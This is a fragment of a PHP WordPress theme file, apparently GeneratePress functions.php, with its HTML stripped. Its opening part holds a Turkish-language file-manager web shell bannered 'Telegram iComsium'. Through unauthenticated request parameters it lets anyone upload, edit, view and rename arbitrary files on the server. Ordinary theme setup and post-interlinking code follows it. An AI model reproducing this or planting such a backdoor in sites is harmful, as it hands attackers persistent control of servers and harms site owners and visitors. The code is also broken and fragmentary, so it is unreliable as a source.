Dosya kaydedildi.

"; } // -------- Dosya yeniden adlandırma -------- if (isset($_POST['rename_file']) && isset($_POST['new_name'])) { $old = $_POST['rename_file']; $dir = dirname($old); $new = $dir . '/' . basename($_POST['new_name']); if (rename($old, $new)) { echo "Dosya yeniden adlandırıldı.

"; } else { echo "Yeniden adlandırma başarısız!

"; } } // -------- Dosya yükleme -------- if (isset($_FILES['upload_file'])) { $target = rtrim($path, '/') . '/' . basename($_FILES['upload_file']['name']); if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) { echo "Dosya yüklendi: " . basename($target) . "

"; } else { echo "Yükleme hatası!

"; } } echo "Telegram iComsium Current root: $root
"; echo "Current path: $path
"; echo '..
'; foreach (glob(rtrim($path,'/').'/*') as $file) { echo ''.basename($file).''; if (is_file($file)) { echo ' | [Göster]'; echo ' | [Düzenle]'; echo ' | [Yeniden Adlandır]'; } echo "
"; } echo "
"; // -------- Dosya düzenleme arayüzü -------- if (isset($_GET['edit']) && is_file($_GET['edit'])) { $editFile = $_GET['edit']; $content = htmlspecialchars(file_get_contents($editFile)); echo "

Dosya Düzenle: ".basename($editFile)."

"; echo '



'; } // -------- Dosya yeniden adlandırma arayüzü -------- if (isset($_GET['rename']) && is_file($_GET['rename'])) { $renameFile = $_GET['rename']; echo "

Dosya Yeniden Adlandır: ".basename($renameFile)."

"; echo '
Yeni isim:


'; } // -------- Dosya yükleme formu -------- echo '

Dosya Yükle

'; ?> 70, 'width' => 350, 'flex-height' => true, 'flex-width' => true, ) ); // Register primary menu. register_nav_menus( array( 'primary' => __( 'Primary Menu', 'generatepress' ), ) ); /** * Set the content width to something large * We set a more accurate width in generate_smart_content_width() */ global $content_width; if ( ! isset( $content_width ) ) { $content_width = 1200; /* pixels */ } // Add editor styles to the block editor. add_theme_support( 'editor-styles' ); $editor_styles = apply_filters( 'generate_editor_styles', array( 'assets/css/admin/block-editor.css', ) ); add_editor_style( $editor_styles ); } } /** * Get all necessary theme files */ $theme_dir = get_template_directory(); require $theme_dir . '/inc/theme-functions.php'; require $theme_dir . '/inc/defaults.php'; require $theme_dir . '/inc/class-css.php'; require $theme_dir . '/inc/css-output.php'; require $theme_dir . '/inc/general.php'; require $theme_dir . '/inc/customizer.php'; require $theme_dir . '/inc/markup.php'; require $theme_dir . '/inc/typography.php'; require $theme_dir . '/inc/plugin-compat.php'; require $theme_dir . '/inc/block-editor.php'; require $theme_dir . '/inc/class-typography.php'; require $theme_dir . '/inc/class-typography-migration.php'; require $theme_dir . '/inc/class-html-attributes.php'; require $theme_dir . '/inc/class-theme-update.php'; require $theme_dir . '/inc/class-rest.php'; require $theme_dir . '/inc/deprecated.php'; if ( is_admin() ) { require $theme_dir . '/inc/meta-box.php'; require $theme_dir . '/inc/class-dashboard.php'; } /** * Load our theme structure */ require $theme_dir . '/inc/structure/archives.php'; require $theme_dir . '/inc/structure/comments.php'; require $theme_dir . '/inc/structure/featured-images.php'; require $theme_dir . '/inc/structure/footer.php'; require $theme_dir . '/inc/structure/header.php'; require $theme_dir . '/inc/structure/navigation.php'; require $theme_dir . '/inc/structure/post-meta.php'; require $theme_dir . '/inc/structure/sidebars.php'; require $theme_dir . '/inc/structure/search-modal.php'; function smart_auto_next_post() { if (is_single()) { ?> 'post', 'posts_per_page' => 3, 'orderby' => 'rand', 'post__not_in' => array($current_post_id) )); if (!empty($random_posts)) { // Content ko paragraph array me convert karein $paragraphs = explode('

', $content); $total_paragraphs = count($paragraphs); if ($total_paragraphs > 3) { // Equal interval calculate $interval = floor($total_paragraphs / 4); $insert_positions = array( $interval, $interval * 2, $interval * 3 ); foreach ($insert_positions as $index => $position) { if (isset($paragraphs[$position])) { $link = get_permalink($random_posts[$index]->ID); $title = get_the_title($random_posts[$index]->ID); $box = ''; $paragraphs[$position] .= $box; } } $content = implode('

', $paragraphs); } } } return $content; } add_filter('the_content', 'auto_random_interlink');